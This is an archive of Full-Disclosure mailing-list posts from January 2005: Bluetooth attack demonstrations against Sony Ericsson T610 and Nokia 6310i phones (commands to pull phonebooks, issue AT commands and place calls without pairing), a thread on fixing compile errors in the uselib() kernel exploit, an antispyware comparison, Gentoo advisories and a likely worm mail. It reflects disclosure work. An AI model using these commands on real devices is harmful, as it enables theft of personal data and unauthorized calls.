When I saw Adam's announcement a while back on these issues, I wrote a 
paper up for SANS.  Describes running the attack on FreeBSD based system 
against a T610.  Check out:

http://www.giac.org/practical/GCIA/Scott_Renna_GCIA.pdf



Eric Detoisien wrote:
> An easy way to get phonebook on Ericsson T610 via bluetooth without pairing  :
> 
> tough:~# hcitool scan
>  Scanning ...
>         00:0A:D9:XX:XX:XX       T610
> 
> tough:~# sdptool browse 00:0A:D9:XX:XX:XX
>  Browsing 00:0A:D9:XX:XX:XX ...
> [...]
> Service Name: OBEX Object Push
>  Service RecHandle: 0x10005
>  Service Class ID List:
>    "OBEX Object Push" (0x1105)
>  Protocol Descriptor List:
>    "L2CAP" (0x0100)
>    "RFCOMM" (0x0003)
>      Channel: 10 -----------------------> only RFCOMM channels 10 and 15 are open
>    "OBEX" (0x0008)
>  Profile Descriptor List:
>    "OBEX Object Push" (0x1105)
>      Version: 0x0100
> [...]
> Service Name: OBEX Basic Imaging
>  Service RecHandle: 0x1000b
>  Service Class ID List:
>    "" (0x111b)
>  Protocol Descriptor List:
>    "L2CAP" (0x0100)
>    "RFCOMM" (0x0003)
>      Channel: 15
>    "OBEX" (0x0008)
>  Profile Descriptor List:
>    "" (0x111a)
>      Version: 0x0100
> [...]
> 
> tough:~# obexftp -b 00:0A:D9:XX:XX:XX -B 10 -g telecom/pb.vcf 
>  Browsing 00:0A:D9:FA:03:B7 ...
>  Channel: 7
>  No custom transport
>  Connecting...bt: 1
>  done
>  Receiving telecom/pb.vcf.../done
>  Disconnecting...done
> 
> 
> Eric Detoisien
> 
> 
> 
>>The Bluebug, as described on [1] is trivially exploitable on some non-Symbian
>>Nokia phones. It allows attacker to create serial profile connection without
>>pairing or asking for permission, therefore it gives unauthorized access to all
>>AT commands. It is possible to read/delete/send SMS messages, add/view/delete
>>phonebook entries, change call diverts, initiate voice or data call.
>>
>>Demonstration on Nokia 6310i:
>>
>>laptop:~# hcitool scan
>>Scanning ...
>>         00:60:57:38:8C:D8       Nokia 6310i
>>laptop:~# rfcomm bind /dev/rfcomm0 00:60:57:38:8C:D8 17
>>
>>Now you can use plain AT commands, as described in manual [2] or Gnokii [3], for
>>example:
>>
>>laptop:~# cu -l rfcomm0 -s 9600
>>Connected.
>>[ATE1]
>>OK
>>ATI
>>Nokia
>>
>>OK
>>AT+CPBS?
>>+CPBS: "SM",0,100
>>
>>OK
>>AT+CPBR=?
>>+CPBR: (1-100),48,18
>>
>>OK
>>ATDT+48609xxxxxx
>>OK
>>
>>As you can see, the bug is really trivial and looks rather like backdoor.
>>
>>[1] - http://www.thebunker.net/security/bluetooth.htm
>>[2] - http://ncsp.forum.nokia.com/download/?asset_id=11579;ref=devx
>>[3] - http://www.gnokii.org/
>>
> 
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html


From mlande at bellsouth.net  Mon Jan 10 01:20:23 2005
From: mlande at bellsouth.net (Mary Landesman)
Date: Sun, 9 Jan 2005 20:20:23 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
References: <20050109093823.670041734CE@postfix3-1.free.fr>
Message-ID: <014401c4f6b2$8f373cb0$0e3eac18@MLANDE>

Running a competing product after a scan from another simply determines
whether the second product will false positive on leftover benign registry
keys, folders, etc. Yes, it would be *nice* if all remants were removed, but
that's not the reality with any of these products. Oftentimes, these
so-called 'infections' are empty folders or leftover registry keys that no
longer have a file associated with them. The false postive rates in these
products are extremely high and, I believe, lead to a perception that
adware/spyware is much more prevalent than it really is.

The real indicator is whether all active components of the infection are
removed. To do this requires isolating the startup vectors, active
processes, services, etc. and determining whether the product(s) being
tested effectively removes those. In other words, is the infection
effectively neutered such that it will no longer load/run?

Also, each of these products reports differently. For example, Ad-Aware
counts every individual key, file and folder as an 'object' whereas
Microsoft AntiSpyware and several others more conservatively (and I feel,
more accurately) group keys, files, and folders associated with a specific
adware/spyware as a single detection (in much the same manner as virus
scanners do).

I used the 'active' criteria described above to test MS AntiSpyware against
180 Solutions, Avenue Media, BargainBuddy, BonziBuddy, Claria,
CoolWebSearch, Cydoor, Dashbar, Exact Searchbar, Hotbar, Huntbar (WinTools),
Internet Optimizer, IST.SlotchBar, NEO, Troj_StartPage, WebSearch,
WhenUSearch, WinTools, Xrenoder, and Zango Search Assistant.

In my tests, MS AntiSpyware removed 91% of all active/startup components
compared to Ad-Aware at 65% and Spybot at 55%. I also broke it down by
category; MS AntiSpyware removed/corrected:

96% of processes running in memory
67% of start/search page modifications
100% of BHO/Toolbars
95% of startup vectors
100% of other (buttons/menu items, etc)

Interesting, though, that even though we used different criteria, the
results are the same - MS AntiSpyware provides better detection. (It is
important to note that CounterSpy uses the same Giant technology. In fact,
many of the bugs/results being reported with MS AntiSpyware are also true of
CounterSpy).

You can read my full review at:
http://antivirus.about.com/od/antivirussoftwarereviews/a/msantispy.htm

For those who don't want to be bothered with the ads, the most important
part of my review has already been posted in this message.

-- Mary


----- Original Message ----- 
From: "jerome.athias" <jerome.athias at free.fr>
To: <full-disclosure at lists.netsys.com>
Sent: Sunday, January 09, 2005 4:38 AM
Subject: RE: [Full-Disclosure] Microsoft AntiSpyware - First Impressions


You could be interested by an article so called "MS AntiSpyware vs Ad-Aware
vs SpyBot"

http://www.flexbeta.net/main/articles.php?action=show&id=84&perpage=1&pagenu
m=1

Regards,
Jerome

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From evilninja at gmx.net  Mon Jan 10 01:45:51 2005
From: evilninja at gmx.net (Christian)
Date: Mon, 10 Jan 2005 02:45:51 +0100
Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation,
	corrected
In-Reply-To: <20050108112114.GA74421@bsquad.sm.pl>
References: <Pine.LNX.4.44.0501071309180.2904-200000@isec.pl>	<20050108113834.553b397c@travel.earth>
	<20050108112114.GA74421@bsquad.sm.pl>
Message-ID: <41E1DE4F.4070905@gmx.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Karol Wiesek schrieb:
 > [appelast at nesquik appelast]$ ./ex -l ./lib
> 
> [+] SLAB cleanup
>     child 1 VMAs 65527
[...]

strange, it does not even compile here:

evil at prinz:~/dev/$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
elflbl_v108.c: In function `scan_mm_start':
elflbl_v108.c:425: error: storage size of `l' isn't known
elflbl_v108.c:425: error: storage size of `l' isn't known
elflbl_v108.c: In function `check_vma_flags':
elflbl_v108.c:545: warning: deprecated use of label at end of compound
statement

Christian.
- --
BOFH excuse #408:

Computers under water due to SYN flooding.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD4DBQFB4d5PC/PVm5+NVoYRArVcAJ9IrJJj/ZB0xAYuSWjuha6eqcsnzgCWLh4b
AhoeE+J2tsnpY4FbEmscqw==
=QYFG
-----END PGP SIGNATURE-----


From pwicks at oxygen.com  Mon Jan 10 01:53:57 2005
From: pwicks at oxygen.com (James Patterson Wicks)
Date: Sun, 9 Jan 2005 20:53:57 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions
Message-ID: <3AF76382C31760418AF0FBFD84F714035D09D3@MI8NYCMAIL07.Mi8.com>

Thank you for the thorough examination and excellent review.  Your
timely information will provide more than enough data for senior
management to sign off on a limited deployment of the beta.  Since my
company has such a liberal surfing policy, deploying this tool to the
problem users (the "why do I keep getting popup ads" group) should
reduce the amout of time that the helpdesk spends cleaning systems.  We
also do not have to worry about violating LavaSoft licensing by using
Ad-Aware SE within the enterprise.

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Mary
Landesman
Sent: Sunday, January 09, 2005 8:20 PM
To: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] Microsoft AntiSpyware - First Impressions

Running a competing product after a scan from another simply determines
whether the second product will false positive on leftover benign
registry
keys, folders, etc. Yes, it would be *nice* if all remants were removed,
but
that's not the reality with any of these products. Oftentimes, these
so-called 'infections' are empty folders or leftover registry keys that
no
longer have a file associated with them. The false postive rates in
these
products are extremely high and, I believe, lead to a perception that
adware/spyware is much more prevalent than it really is.

The real indicator is whether all active components of the infection are
removed. To do this requires isolating the startup vectors, active
processes, services, etc. and determining whether the product(s) being
tested effectively removes those. In other words, is the infection
effectively neutered such that it will no longer load/run?

Also, each of these products reports differently. For example, Ad-Aware
counts every individual key, file and folder as an 'object' whereas
Microsoft AntiSpyware and several others more conservatively (and I
feel,
more accurately) group keys, files, and folders associated with a
specific
adware/spyware as a single detection (in much the same manner as virus
scanners do).

I used the 'active' criteria described above to test MS AntiSpyware
against
180 Solutions, Avenue Media, BargainBuddy, BonziBuddy, Claria,
CoolWebSearch, Cydoor, Dashbar, Exact Searchbar, Hotbar, Huntbar
(WinTools),
Internet Optimizer, IST.SlotchBar, NEO, Troj_StartPage, WebSearch,
WhenUSearch, WinTools, Xrenoder, and Zango Search Assistant.

In my tests, MS AntiSpyware removed 91% of all active/startup components
compared to Ad-Aware at 65% and Spybot at 55%. I also broke it down by
category; MS AntiSpyware removed/corrected:

96% of processes running in memory
67% of start/search page modifications
100% of BHO/Toolbars
95% of startup vectors
100% of other (buttons/menu items, etc)

Interesting, though, that even though we used different criteria, the
results are the same - MS AntiSpyware provides better detection. (It is
important to note that CounterSpy uses the same Giant technology. In
fact,
many of the bugs/results being reported with MS AntiSpyware are also
true of
CounterSpy).

You can read my full review at:
http://antivirus.about.com/od/antivirussoftwarereviews/a/msantispy.htm

For those who don't want to be bothered with the ads, the most important
part of my review has already been posted in this message.

-- Mary


----- Original Message ----- 
From: "jerome.athias" <jerome.athias at free.fr>
To: <full-disclosure at lists.netsys.com>
Sent: Sunday, January 09, 2005 4:38 AM
Subject: RE: [Full-Disclosure] Microsoft AntiSpyware - First Impressions


You could be interested by an article so called "MS AntiSpyware vs
Ad-Aware
vs SpyBot"

http://www.flexbeta.net/main/articles.php?action=show&id=84&perpage=1&pa
genu
m=1

Regards,
Jerome

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


This e-mail is the property of Oxygen Media, LLC.  It is intended only for the person or entity to which it is addressed and may contain information that is privileged, confidential, or otherwise protected from disclosure. Distribution or copying of this e-mail or the information contained herein by anyone other than the intended recipient is prohibited. If you have received this e-mail in error, please immediately notify us by sending an e-mail to postmaster at oxygen.com and destroy all electronic and paper copies of this e-mail.





From nix at syndicalist.net  Mon Jan 10 02:16:44 2005
From: nix at syndicalist.net (Henrik Persson)
Date: Mon, 10 Jan 2005 03:16:44 +0100
Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation,
	corrected
In-Reply-To: <41E1DE4F.4070905@gmx.net>
References: <Pine.LNX.4.44.0501071309180.2904-200000@isec.pl>	<20050108113834.553b397c@travel.earth>	<20050108112114.GA74421@bsquad.sm.pl>
	<41E1DE4F.4070905@gmx.net>
Message-ID: <41E1E58C.7080503@syndicalist.net>

Christian wrote:
> Karol Wiesek schrieb:
>  > [appelast at nesquik appelast]$ ./ex -l ./lib
> 
>>>[+] SLAB cleanup
>>>    child 1 VMAs 65527
> 
> [...]
> 
> strange, it does not even compile here:
> 
> evil at prinz:~/dev/$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
> elflbl_v108.c: In function `scan_mm_start':
> elflbl_v108.c:425: error: storage size of `l' isn't known
> elflbl_v108.c:425: error: storage size of `l' isn't known
> elflbl_v108.c: In function `check_vma_flags':
> elflbl_v108.c:545: warning: deprecated use of label at end of compound
> statement

In linux 2.6 the modify_ldt_ldt_s structure is renamed to user_desc. 
Change that on row 425 and it will compile.

-- 
Henrik Persson


From xyberpix at xyberpix.com  Mon Jan 10 02:53:21 2005
From: xyberpix at xyberpix.com (xyberpix)
Date: Mon, 10 Jan 2005 02:53:21 +0000
Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products
	(IRISand SecureIIS)
In-Reply-To: <19F34051C5BB60429ACD1BF01338C598E9A975@av-mail01.corp.int-eeye.com>
References: <19F34051C5BB60429ACD1BF01338C598E9A975@av-mail01.corp.int-eeye.com>
Message-ID: <CA021AF4-62B2-11D9-AA43-000D93B5315A@xyberpix.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Bwahahaha, thanks Marc, nicely put.
If people on here could please get their facts correct before posting 
FD's on here it would save everyone a load of time. C'mon people we're 
all here for one reason or another, and if it's to annoy people, do it 
somewhere else, this really isn't the place.
Most of us on here are serious about what we do, whatever that may be 
;-)
It's a great list, let's keep it that way, and while we're at it, can 
we put this thread to sleep now, it's gone on long enough.

xyberpix


On 30 Dec 2004, at 01:33, Marc Maiffret wrote:

> Hi Lance Gusto,
>
> It is really interesting that someone with such a disdain for my 
> company
> would go out of their way to spam out an email about a supposed 
> backdoor
> within our products, choose not to contact us ahead of time, and then
> provide no real details to prove your claim... Ahhh but wait, you chose
> not to provide any details because you're a "good guy". As you said:
> "Unfortunately, we can't release the "exploits" publicly due to the
> severity of these flaws." Right.
>
> The reason you could not provide any real details about these backdoors
> are because there are no backdoors in Iris nor SecureIIS.
>
> While I would not wish to give someone like you the time of day nor 15
> minutes of infamy, eEye does take every security claim very seriously.
> We have performed an audit of SecureIIS and Iris code to re-verify what
> we already knew, that there are no backdoors in either of them.
>
> It is quite possible that you downloaded fake warez versions of our
> products from peer-to-peer networks which someone might have put there
> to trick people and put backdoors on their systems. However, if such
> warez product versions existed they would not be from eEye as we do not
> distribute our software on peer-to-peer networks nor recommend people
> downloading warez versions from there.  Get your warez from a trusted
> distributor. ;-) If you would have contacted us we could have saved you
> the embarrassment... But then you are sending emails from Hotmail
> through a proxy at a university in Germany so I seriously doubt you 
> care
> if your persona "Lance Gusto" gets embarrassed on public mailing lists.
>
>
> These backdoors are as much of a reality as Santa Claus but then you
> seem to be childish enough that you probably still believe in the jolly
> red man. Maybe next you can follow-up your humors eMail with a spoofed
> advisory about a backdoor you found in Rudolph "the red nosed 
> reindeer".
> At least then you could promote yourself from being a coward to a
> comedian.
>
> Thank you, please drive through.
>
> Signed,
> Marc Maiffret
> Chief Hacking Officer
> eEye Digital Security
> T.949.349.9062
> F.949.349.9538
> http://eEye.com/Blink - End-Point Vulnerability Prevention
> http://eEye.com/Retina - Network Security Scanner
> http://eEye.com/Iris - Network Traffic Analyzer
> http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities
>
> Important Notice: This email is confidential, may be legally 
> privileged,
> and is for the intended recipient only. Access, disclosure, copying,
> distribution, or reliance on any of it by anyone else is prohibited and
> may be a criminal offense.  Please delete if obtained in error and 
> email
> confirmation to the sender. P.S. I'm going to tell you this for your 
> own
> benefit, your email was dope as hell especially since you faked 90
> percent of it. What you need to do is practice on your freestyle before
> you come up missing like triple m's police file.
>
>
For Security And Open Source News And Info Visit:
http://www.xyberpix.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iD8DBQFB4e4icRMkOnlkwMERAiiEAJsF/svsADIHRj6yAvh9eV09qQ9DjQCeIGoO
mQfY4KClb9V75BsdTWvKcdk=
=mUTu
-----END PGP SIGNATURE-----



From jason at flacid.org  Mon Jan 10 05:38:42 2005
From: jason at flacid.org (Jason Carr)
Date: Mon, 10 Jan 2005 00:38:42 -0500
Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation,
	corrected
In-Reply-To: <41E1E58C.7080503@syndicalist.net>
References: <Pine.LNX.4.44.0501071309180.2904-200000@isec.pl>	<20050108113834.553b397c@travel.earth>	<20050108112114.GA74421@bsquad.sm.pl>	<41E1DE4F.4070905@gmx.net>
	<41E1E58C.7080503@syndicalist.net>
Message-ID: <41E214E2.6020302@flacid.org>

Henrik Persson wrote:

> Christian wrote:
>
>> Karol Wiesek schrieb:
>>  > [appelast at nesquik appelast]$ ./ex -l ./lib
>>
>>>> [+] SLAB cleanup
>>>>    child 1 VMAs 65527
>>>
>>
>> [...]
>>
>> strange, it does not even compile here:
>>
>> evil at prinz:~/dev/$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
>> elflbl_v108.c: In function `scan_mm_start':
>> elflbl_v108.c:425: error: storage size of `l' isn't known
>> elflbl_v108.c:425: error: storage size of `l' isn't known
>> elflbl_v108.c: In function `check_vma_flags':
>> elflbl_v108.c:545: warning: deprecated use of label at end of compound
>> statement
>
>
> In linux 2.6 the modify_ldt_ldt_s structure is renamed to user_desc. 
> Change that on row 425 and it will compile.
>
Weird... I tried that and I get this:

jason at overdose [~/vuln] (104) % gcc -O2 -fomit-frame-pointer elflbl.c -o 
elflbl
elflbl.c:89: error: variable-size type declared outside of any function
elflbl.c: In function `make_lib':
elflbl.c:664: error: storage size of 'eh' isn't known
elflbl.c:665: error: storage size of 'eph' isn't known
elflbl.c:666: error: storage size of 'tmpbuf' isn't constant
elflbl.c:680: error: invalid application of `sizeof' to incomplete type 
`elf_phdr'
elflbl.c:666: error: size of variable 'tmpbuf' is too large



From blancher at cartel-securite.fr  Mon Jan 10 08:42:18 2005
From: blancher at cartel-securite.fr (Cedric Blancher)
Date: Mon, 10 Jan 2005 09:42:18 +0100
Subject: [Full-Disclosure] [Annonce][Contest] Call For Articles: MISC
	Magazine - CanSecWest/core05
Message-ID: <1105346539.4627.63.camel@anduril.intranet.cartel-securite.net>

For those who may be interested...

(Details in French Below)

Win a trip to attend CanSecWest/core05.
Get published in MISC Magazine.

Contest Details:

You  just have  to write  an  original article  (3500-4000 words)  for
publication  in  MISC  Magazine  on  any  topic  related  to  computer
security:  exploit writing,  (anti-)virus,  (anti-)forensics, network,
protocol   manipulation,  honeypots,  IDS/IPS,   reverse  engineering,
telecoms, and so  on... For a list of subjects  already covered in the
magazine have a look at http://www.miscmag.com/sommaire.php

The  best submitted  article  (details  below) will  win  a free  trip
(airfare, hotel) and conference registration.

All contest information available on http://www.miscmag.com/csw05-fd.php
The conference website can be found at http://cansecwest.com/

The  CanSecWest/core05 conference consists of tutorials on technical
details about current issues, innovative techniques and best practices
in the information security realm.  Many famous researchers contribute
each  year. The attendees  are a  multi-national mix  of professionals
involved  on a daily  basis with  security work  and provide  a social
networking opportunity to mingle with eminent technical researchers.
It will be held on May 4-6 at the Mariott  Renaissance hotel  in
downtown Vancouver, British Columbia, Canada.

MISC is a french magazine focusing on information security. Each issue
features an in-depth  coverage of a specific topic  through a series of
articles exploring the subject.  Beside this key theme regular columns
provide the reader with  advanced techniques pertaining to information
security.   Because security can not be limited to technical and
scientific aspects  MISC also covers domains like law or information
warfare.

The winning article submission receives:
- registration for CanSecWest/core05 donated by the conference
- 4 nights in  the conference hotel (Mariott Renaissance)  paid for by
  the conference (though incidental costs are still your
  responsibility).
- a  round-trip to Vancouver  (Canada), paid by Diamond Edition (the
  winner must have a valid passport and visa if needed)
- the publication  of your article in  MISC, paid at  the regular MISC
  rate (to use as spending money on your trip).


The committee will select the  best article which will be published in
MISC  Magazine. The 5  following criteria  will guide  the committee's
choice:
1) education: how much does it teach?
2) innovation: how is it new?
3) technical level: what is the technical level of the article?
4) applicability: does it affect a lot of people?
5) style: grammar, orthography, syntax, clarity, ...

More than one article may be published in MISC Magazine, but only the
best one will win the trip.

To have a chance to win, send article submission by email  to
csw05 at miscmag.com along with the following information before the 29th
of January 2005:
1) Author, and  geographical location (country  of origin/passport)
   and contact info  (e-mail, postal address, phone, fax).   We need a
   real name and  real contact details or we won't be able to pay for
   the trip.
2) Employer and/or affiliations.
3) 3 to 5 keywords describing the topic of the proposal
4) The article,  written either in French or English, and using the
   style sheets available at
     http://www.miscmag.com/styles/
5) Optionally, any samples (code or whatever) related to the article.
6) The folowing declaration:

    I, <firstname name>, hereby certify that the submitted article has
    been  written by  me  and  that I  own  the intellectual  property
    contained in  it.  I, <name>,  give Diamond Editions the  right to
    publish this article in their magazines.

If a submission is incomplete,  the article will not be considered for
the challenge.  Only one submission per  person is allowed  - if there
are multiple submissions, only the last one will be considered.

Please  submit all  proposals by  January 29  latest. Results  will be
communicated to the participants on the 15th February 2005.

MISC Magazine : http://www.miscmag.com/
CanSecWest/core05 : http://cansecwest.com/


---------------------


         CanSecWest/core05 - MISC Magazine

Gagner un s?jour pour assister ? CanSecWest/core05. Comment faire ?

Simplement en  ?crivant un article  original de 3500-4000 mots  sur le
th?me   de   la  s?curit?   informatique   :  techniques   d'exploits,
(anti-)virus,  (anti-)forensics, manipulation de  r?seau, d?tournement
de  protocoles, pots ?  miel et  autres IDS/IPS,  reverse engineering,
t?l?coms, etc... Pour d?couvrir les sujets trait?s dans MISC, vous
pouvez visiter http://www.miscmag.com/sommaire.php.
Le site de la conf?rence est http://www.cansecswest.com/.

Tous les d?tails sur : http://www.miscmag.com/csw05-fd.php

La  conf?rence  CanSecWest/core05  se  compose de  tutoriaux  sur  les
questions  actuelles, les  techniques innovatrices  et  les meilleures
pratiques dans le domaine de s?curit? de l'information. De prestigieux
orateurs y participent chaque ann?e, permettant ainsi aux auditeurs de
se tenir inform?s des derni?res nouveaut?s du secteur. Elle se d?roule
du 4 au 6 Mai 2005 ? Vancouver (Canada).

Le magazine fran?ais  ? 100% s?curit? informatique ?  MISC est compos?
d'un  dossier  traitant  de  mani?re  approfondie d'un  th?me,  et  de
nombreuses rubriques  permettant ? chacun de  d?couvrir les techniques
avanc?es li?es  ? la s?curit? de l'information.  MISC traite ?galement
des domaines  connexes (droit ou guerre de  l'information par exemple)
car  la s?curit? de  l'information ne  se limite  pas ?  des probl?mes
techniques et scientifiques.


Prix pour le vainqueur :
- l'entr?e ? CanSecWest
- 4 nuits d'h?tel ? l'h?tel de la conf?rence (Mariott Renaissance)
- le billet  d'avion pour  se rendre ?  Vancouver, achet?  par Diamond
  Edition  (le vainqueur  devra  disposer, si  besoin, d'un  passeport
  valide et d'un visa pour le Canada)
- la publication de l'article, r?mun?r? au tarif normal des auteurs de
  MISC, dans un num?ro ? venir de MISC.

Le  jury  s?lectionnera la  meilleure  proposition,  qui sera  ensuite
publi?e  dans MISC  Magazine. La  bar?me se  d?compose en  5 crit?res,
d'importance ?gale :
1) ?ducation : l'article est-il p?dagogique ?
2) innovation : quelle(s) part(s) de nouveaut? ?
3) technicit? : quel est le niveau technique de l'article ?
4) port?e : est-ce que cela concerne beaucoup de personnes ?
5) style : orthographe, grammaire, clart?, ...

Tous les  bons articles seront susceptibles d'?tre  publi?s dans MISC,
mais seul le meilleur remportera le voyage ? CanSecWest.

Pour participer, il faut envoyer un mail ? csw05 at miscmag.com avec les
informations suivantes avant le Samedi 29 Janvier :

1) pr?sentation  :  nom,  pr?nom, ville/pays  d'origine,  nationalit?,
   contact (e-mail, adresse postale, t?l?phone, fax)
   Attention : sans ces informations, votre prix ne pourra vous ?tre
   remis.
2) employeur et/ou affiliation
3) 3-5 mots cl? pour caract?riser l'article
4) l'article, ?crit en Anglais ou en Fran?ais, et respectant les
   feuilles de style :
   http://www.miscmag.com/styles/
5) ?ventuellement, des exemples (codes ou autres) li?s ? l'article
6) La mention suivante :

   Je soussign?  <nom, pr?nom> d?clare sur l'honneur  ?tre l'auteur de
   l'article  soumis  afin de  participer  au  concours,  et que  j'en
   d?tiens  donc les  droits de  propri?t? intellectuelle.  En  cas de
   victoire, j'autorise  Diamond Edition ? faire usage  de mon article
   dans leurs publications.

Tout   mail   incomplet  invalidera   la   participation.  Une   seule
participation par personne est autoris?e.

Date limite de participation : Samedi 29 Janvier 2005, date de
r?ception du mail faisant foi.

Liens utiles
  MISC Magazine : http://www.miscmag.com/
  CanSecWest/core05 : http://cansecwest.com/


-- 
http://www.netexit.com/~sid/
PGP KeyID: 157E98EE FingerPrint: FA62226DA9E72FA8AECAA240008B480E157E98EE
>> Hi! I'm your friendly neighbourhood signature virus.
>> Copy me to your signature file and help me spread!



From vorlon at gentoo.org  Mon Jan 10 09:05:32 2005
From: vorlon at gentoo.org (Matthias Geerdsen)
Date: Mon, 10 Jan 2005 10:05:32 +0100
Subject: [Full-Disclosure] [ GLSA 200501-12 ] TikiWiki: Arbitrary command
	execution
Message-ID: <20050110090532.GA5412@kosh.atw.wh.local>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: TikiWiki: Arbitrary command execution
      Date: January 10, 2005
      Bugs: #75568
        ID: 200501-12

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

A bug in TikiWiki allows certain users to upload and execute malicious
PHP scripts.

Background
==========

TikiWiki is a web-based groupware and content management system (CMS),
using PHP, ADOdb and Smarty.

Affected packages
=================

    -------------------------------------------------------------------
     Package            /  Vulnerable  /                    Unaffected
    -------------------------------------------------------------------
  1  www-apps/tikiwiki      < 1.8.4.1                       >= 1.8.4.1

Description
===========

TikiWiki lacks a check on uploaded images in the Wiki edit page.

Impact
======

A malicious user could run arbitrary commands on the server by
uploading and calling a PHP script.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All TikiWiki users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=www-apps/tikiwiki-1.8.4.1"

References
==========

  [ 1 ] TikiWiki Advisory
        http://tikiwiki.org/tiki-read_article.php?articleId=97

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-12.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/79ddf16a/attachment.bin 

From koon at gentoo.org  Mon Jan 10 09:15:26 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Mon, 10 Jan 2005 10:15:26 +0100
Subject: [Full-Disclosure] [ GLSA 200501-13 ] pdftohtml: Vulnerabilities in
	included Xpdf
Message-ID: <41E247AE.80102@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-13
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: pdftohtml: Vulnerabilities in included Xpdf
      Date: January 10, 2005
      Bugs: #75200
        ID: 200501-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

pdftohtml includes vulnerable Xpdf code to handle PDF files, making it
vulnerable to execution of arbitrary code upon converting a malicious
PDF file.

Background
==========

pdftohtml is a utility to convert PDF files to HTML or XML formats. It
makes use of Xpdf code to decode PDF files.

Affected packages
=================

    -------------------------------------------------------------------
     Package             /  Vulnerable  /                   Unaffected
    -------------------------------------------------------------------
  1  app-text/pdftohtml      < 0.36-r2                      >= 0.36-r2

Description
===========

Xpdf is vulnerable to integer overflows, as described in GLSA
200412-24.

Impact
======

An attacker could entice a user to convert a specially-crafted PDF
file, potentially resulting in the execution of arbitrary code with the
rights of the user running pdftohtml.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All pdftohtml users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-text/pdftohtml-0.36-r2"

References
==========

  [ 1 ] GLSA 200412-24
        http://www.gentoo.org/security/en/glsa/glsa-200410-20.xml
  [ 2 ] CAN-2004-1125
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-13.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 189 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/3b904c7b/attachment.bin 

From scrotora at hushmail.com  Mon Jan 10 09:48:02 2005
From: scrotora at hushmail.com (Scrotora)
Date: Mon, 10 Jan 2005 10:48:02 +0100
Subject: [Full-Disclosure] Re: Hi
Message-ID: <ziiwstfzgbvslusrlrl@lists.netsys.com>

An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/58871105/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: I_search_for_you.com
Type: application/octet-stream
Size: 21454 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050110/58871105/attachment.obj 

From seclists at kernelpanik.org  Mon Jan 10 09:53:16 2005
From: seclists at kernelpanik.org (Kernelpanik Labs - Security Lists)
